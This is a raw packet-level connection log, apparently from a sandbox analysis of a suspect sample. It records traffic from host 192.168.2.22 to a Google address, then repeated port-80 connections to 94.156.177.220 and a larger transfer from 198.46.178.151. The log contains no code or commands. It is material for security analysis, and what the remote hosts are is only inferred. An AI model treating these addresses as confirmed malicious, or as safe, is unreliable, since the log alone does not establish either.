Oct 30, 2024 07:53:40.452101946 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.452106953 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.452368975 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.462979078 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.463068008 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.463105917 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.463115931 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.463155031 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.468720913 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.468815088 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.468823910 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.468842030 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.468894958 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.469373941 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.476913929 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.476980925 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.476989031 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.477009058 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.477052927 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.481848001 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.481918097 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.481931925 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.481939077 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.482016087 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.489912033 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.489976883 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.490020990 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.490027905 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.490047932 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.495376110 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.495457888 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.495476007 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.495481968 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.495557070 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.501411915 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.501497984 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.501535892 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.501544952 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.501632929 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.506716967 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.506800890 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.506839037 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.506848097 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.506886959 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.506958961 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.512049913 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.512119055 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.512151003 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.512157917 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.512191057 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.516547918 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.525193930 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.525260925 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.525314093 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.525314093 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.525321960 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.525620937 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.525685072 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.525696993 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.525744915 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.525837898 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.525845051 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.529293060 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.529361010 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.529418945 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.529418945 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.529431105 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.531692982 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.531768084 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.531769991 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.531802893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.531840086 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.533201933 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.557035923 CET	49176	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:40.563674927 CET	80	49176	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:40.563752890 CET	49176	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:40.565994024 CET	49176	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:40.570487976 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.570517063 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.570576906 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.570585012 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.570595980 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.570764065 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.570791006 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.570815086 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.570822954 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.570848942 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.571034908 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571063995 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571103096 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.571103096 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.571111917 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571434975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571464062 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571501970 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.571507931 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571517944 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.571607113 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571629047 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571669102 CET	80	49176	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:40.571683884 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.571683884 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.571696043 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.571719885 CET	49176	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:40.572519064 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.576136112 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.576175928 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.576214075 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.576221943 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.576237917 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.577097893 CET	80	49176	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:40.584547997 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.584638119 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.584688902 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.584688902 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.584696054 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.586023092 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.590888023 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.590969086 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.590971947 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.591000080 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.591048002 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.598979950 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.599006891 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.599041939 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.599047899 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.599071026 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.599909067 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.605220079 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.605242968 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.605325937 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.605325937 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.605331898 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.608524084 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.610733986 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.610775948 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.610804081 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.610809088 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.610841990 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.610886097 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.610930920 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.612323046 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.612998009 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:41.531385899 CET	80	49176	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:41.533689022 CET	49176	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:41.539324045 CET	80	49176	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:41.541233063 CET	49176	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:41.777803898 CET	49177	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:41.783298969 CET	80	49177	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:41.783370972 CET	49177	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:41.784998894 CET	49177	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:41.790332079 CET	80	49177	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:41.793798923 CET	49177	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:41.799176931 CET	80	49177	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:42.777870893 CET	80	49177	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:42.777982950 CET	49177	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:42.788000107 CET	80	49177	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:42.788110018 CET	49177	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:42.871802092 CET	49178	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:42.877253056 CET	80	49178	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:42.877334118 CET	49178	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:42.878993988 CET	49178	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:42.884517908 CET	80	49178	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:42.884566069 CET	49178	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:42.890144110 CET	80	49178	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:43.865000010 CET	80	49178	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:43.865113974 CET	49178	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:43.871516943 CET	80	49178	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:43.871572971 CET	49178	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:44.043843031 CET	49179	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:44.049367905 CET	80	49179	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:44.049438953 CET	49179	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:44.051202059 CET	49179	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:44.056495905 CET	80	49179	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:44.056555986 CET	49179	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:44.062057972 CET	80	49179	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:45.012325048 CET	80	49179	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:45.012542009 CET	49179	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:45.018620014 CET	80	49179	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:45.018693924 CET	49179	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:45.405062914 CET	49180	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:45.410404921 CET	80	49180	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:45.410460949 CET	49180	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:45.412120104 CET	49180	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:45.417524099 CET	80	49180	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:45.417574883 CET	49180	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:45.422890902 CET	80	49180	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:46.386841059 CET	80	49180	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:46.386960983 CET	49180	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:46.392390013 CET	80	49180	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:46.392455101 CET	49180	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:46.622354031 CET	49181	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:46.627734900 CET	80	49181	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:46.627798080 CET	49181	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:46.629470110 CET	49181	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:46.634763956 CET	80	49181	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:46.634814024 CET	49181	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:46.640064001 CET	80	49181	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:47.577194929 CET	80	49181	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:47.577321053 CET	49181	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:47.583065033 CET	80	49181	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:47.583137989 CET	49181	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:48.524265051 CET	49182	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:48.529603958 CET	80	49182	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:48.529661894 CET	49182	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:48.531375885 CET	49182	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:48.536616087 CET	80	49182	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:48.536668062 CET	49182	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:48.541953087 CET	80	49182	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:49.526093960 CET	80	49182	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:49.526232004 CET	49182	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:49.531766891 CET	80	49182	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:49.531827927 CET	49182	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:49.713594913 CET	49183	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:49.719203949 CET	80	49183	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:49.719273090 CET	49183	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:49.720951080 CET	49183	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:49.726218939 CET	80	49183	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:49.726273060 CET	49183	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:49.732187033 CET	80	49183	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:50.688256979 CET	80	49183	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:50.688405037 CET	49183	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:50.694272995 CET	80	49183	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:50.694339991 CET	49183	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:50.872394085 CET	49184	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:50.877744913 CET	80	49184	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:50.877840042 CET	49184	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:50.879466057 CET	49184	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:50.884841919 CET	80	49184	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:50.884887934 CET	49184	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:50.890208960 CET	80	49184	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:51.845865965 CET	80	49184	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:51.846046925 CET	49184	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:51.851632118 CET	80	49184	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:51.851695061 CET	49184	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:52.003637075 CET	49185	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:52.009128094 CET	80	49185	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:52.009201050 CET	49185	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:52.056183100 CET	49185	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:52.061534882 CET	80	49185	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:52.061619997 CET	49185	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:52.066876888 CET	80	49185	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:52.988898993 CET	80	49185	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:52.989036083 CET	49185	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:52.994621038 CET	80	49185	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:52.994682074 CET	49185	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:53.171825886 CET	49186	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:53.177261114 CET	80	49186	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:53.177326918 CET	49186	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:53.178982973 CET	49186	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:53.184505939 CET	80	49186	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:53.184556961 CET	49186	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:53.189894915 CET	80	49186	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:53.773089886 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:53.778503895 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:53.778574944 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:53.778685093 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:53.784076929 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.140491009 CET	80	49186	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:54.140609026 CET	49186	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:54.146097898 CET	80	49186	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:54.146169901 CET	49186	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:54.267137051 CET	49188	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:54.272453070 CET	80	49188	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:54.272519112 CET	49188	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:54.274202108 CET	49188	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:54.279587030 CET	80	49188	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:54.279645920 CET	49188	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:54.284943104 CET	80	49188	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:54.439841986 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439860106 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439879894 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439905882 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.439909935 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439924002 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439935923 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439954996 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439964056 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.439969063 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439982891 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.439992905 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.439995050 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.440020084 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.445352077 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.445369005 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.445384026 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.445432901 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.445457935 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.556658983 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.556730986 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.556741953 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.556756973 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.556768894 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.556787968 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.556919098 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.556919098 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.557379007 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557391882 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557403088 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557607889 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.557607889 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.557812929 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557825089 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557845116 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557862043 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557866096 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.557873964 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.557897091 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.674014091 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674042940 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674057007 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674067974 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674081087 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674088955 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.674118042 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.674128056 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.674309015 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674321890 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674333096 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674370050 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.674376011 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674390078 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.674422026 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.675128937 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.675147057 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.675160885 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.675173998 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.675184965 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.675198078 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.790807009 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.790823936 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.790838957 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.790853024 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.790880919 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.791024923 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791047096 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791071892 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.791215897 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791260004 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.791273117 CET	80	49187	198.46.178.151	192.168.2.22
